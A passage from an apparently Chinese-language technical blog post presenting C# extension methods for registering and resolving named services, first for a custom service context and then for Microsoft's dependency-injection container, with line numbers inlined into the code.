NamedBuilder.CreateServiceBaseType(name, serviceType); 133 services.RemoveAll(namedType); 134 return services; 135 } 136 137 public static IServiceContext RemoveAll<T>(this IServiceContext services, string name) 138 where T : class 139 { 140 return services.RemoveAll(typeof(T), name); 141 } 142 #endregion 143 144 #region Other 145 public static bool Contains(this IServiceContext services, Type serviceType, string name) 146 { 147 if (name.IsNull()) 148 { 149 return services.Contains(serviceType); 150 } 151 152 var namedType = NamedBuilder.CreateServiceBaseType(name, serviceType); 153 return services.Contains(namedType); 154 } 155 #endregion 156 } 根据以上原理,MSDI亦可作对应的注册以及解析方法 1 public static class NamedServiceExtensions 2 { 3 #region Add 4 public static IServiceCollection AddSingleton(this IServiceCollection services, Type serviceType, object implementationInstance, string name) 5 { 6 services.AddNamed(serviceType, _ => implementationInstance, name, ServiceLifetime.Singleton); 7 return services; 8 } 9 10 public static IServiceCollection AddSingleton<TService>(this IServiceCollection services, TService implementationInstance, string name) 11 where TService : class 12 { 13 return services.AddSingleton(typeof(TService), implementationInstance, name); 14 } 15 16 public static IServiceCollection AddSingleton(this IServiceCollection services, Type serviceType, Func<IServiceProvider, object> implementationFactory, string name) 17 { 18 services.AddNamed(serviceType, implementationFactory, name, ServiceLifetime.Singleton); 19 return services; 20 } 21 22 public static IServiceCollection AddSingleton<TService>(this IServiceCollection services, Func<IServiceProvider, TService> implementationFactory, string name) 23 where TService : class 24 { 25 return services.AddSingleton(typeof(TService), implementationFactory, name); 26 } 27 28 public static IServiceCollection AddScoped(this IServiceCollection services, Type serviceType, Func<IServiceProvider, object> implementationFactory, string name) 29 { 30 services.AddNamed(serviceType, implementationFactory, name, ServiceLifetime.Scoped); 31 return services; 32 } 33 34 public static IServiceCollection AddScoped<TService>(this IServiceCollection services, Func<IServiceProvider, TService> implementationFactory, string name) 35 where TService : class 36 { 37 return services.AddScoped(typeof(TService), implementationFactory, name); 38 } 39 40 public static IServiceCollection AddTransient(this IServiceCollection services, Type serviceType, Func<IServiceProvider, object> implementationFactory, string name) 41 { 42 services.AddNamed(serviceType, implementationFactory, name, ServiceLifetime.Transient); 43 return services; 44 } 45 46 public static IServiceCollection AddTransient<TService>(this IServiceCollection services, Func<IServiceProvider, TService> implementationFactory, string name) 47 where TService : class 48 { 49 return services.AddTransient(typeof(TService), implementationFactory, name); 50 } 51 52 public static IServiceCollection AddNamed(this IServiceCollection services, Type serviceType, Func<IServiceProvider, object> implementationFactory, string name, ServiceLifetime lifetime = ServiceLifetime.Transient) 53 { 54 if (name.IsNull()) 55 { 56 services.Add(ServiceDescriptor.Describe(serviceType, implementationFactory, lifetime)); 57 return services; 58 } 59 60 if (services == null) 61 { 62 throw new ArgumentNullException(nameof(services)); 63 } 64 65 if (serviceType == null) 66 { 67 throw new ArgumentNullException(nameof(serviceType)); 68 } 69 70 if (implementationFactory == null) 71 { 72 throw new ArgumentNullException(nameof(implementationFactory)); 73 } 74 75 var namedType = NamedBuilder.CreateServiceType(name, serviceType); 76 77 services.Add(ServiceDescriptor.Describe(namedType, s => Activator.CreateInstance(namedType, implementationFactory(s)), lifetime)); 78 return services; 79 } 80 #endregion 81 82 #region GetService 83 public static T GetService<T>(this IServiceProvider serviceProvider, string name) 84 where T : class 85 { 86 if (serviceProvider == null) 87 { 88 throw new ArgumentNullException(nameof(serviceProvider)); 89 } 90 91 if (name.IsNull()) 92 { 93 return serviceProvider.GetService<T>(); 94 } 95 96 var namedType = NamedBuilder.CreateServiceBaseType(name, typeof(T)); 97 var namedService = serviceProvider.GetService(namedType) as INamedService<T>; 98 return namedService?.Service; 99 } 100 101 public static object GetService(this IServiceProvider serviceProvider, Type serviceType, string name) 102 { 103 if (serviceProvider == null) 104 { 105 throw new ArgumentNullException(nameof(serviceProvider)); 106 } 107 108 if (name.IsNull()) 109 { 110 return serviceProvider.GetService(serviceType); 111 } 112 113 var namedType = NamedBuilder.CreateServiceBaseType(name, serviceType); 114 var namedService = serviceProvider.GetService(namedType) as INamedService; 115 return namedService?.Service; 116 } 117 118 public static IEnumerable<T> GetServices<T>(this IServiceProvider serviceProvider, string name) 119 where T : class 120 { 121 if (serviceProvider == null) 122 { 123 throw new ArgumentNullException(nameof(serviceProvider)); 124 } 125 126 if (name.IsNull()) 127 { 128 return serviceProvider.GetServices<T>(); 129 } 130 131 var namedType = NamedBuilder.CreateServiceBaseType(name, typeof(T)); 132 var namedServices = serviceProvider.GetServices(namedType) as IEnumerable<INamedService<T>>; 133 return namedServices.Select(t => t.Service); 134 } 135 136 public static IEnumerable<object> GetServices(this IServiceProvider serviceProvider, Type serviceType, string name) 137 { 138 if (serviceProvider == null) 139 { 140 throw new ArgumentNullException(nameof(serviceProvider)); 141 } 142 143 if (name.IsNull()) 144 { 145 return serviceProvider.GetServices(serviceType); 146 } 147 148 var namedType = NamedBuilder.CreateServiceBaseType(name, serviceType); 149 var namedServices = serviceProvider.GetServices(namedType) as IEnumerable<INamedService>; 150 return namedServices.Select(t => t.Service); 151 } 152 #endregion 153 154 #region Remove 155 public static IServiceCollection RemoveAll(this IServiceCollection services, Type serviceType, string name) 156 { 157 var namedType = NamedBuilder.CreateServiceBaseType(name, serviceType); 158 services.RemoveAll(namedType); 159 return services; 160 } 161 162 public static IServiceCollection RemoveAll<T>(this IServiceCollection services, string name) 163 { 164 return services.RemoveAll(typeof(T), name); 165 } 166 #endregion 167 168 #region Other 169 public static bool Contains(this IServiceCollection services, Type serviceType, string name) 170 { 171 if (name.IsNull()) 172 { 173 return services.Contains(serviceType); 174 } 175 176 var namedType = NamedBuilder.CreateServiceBaseType(name, serviceType); 177 return services.Contains(namedType); 178 } 179 #endregion 180 }
2024-01-18
136
0
0
67
68
69
70
71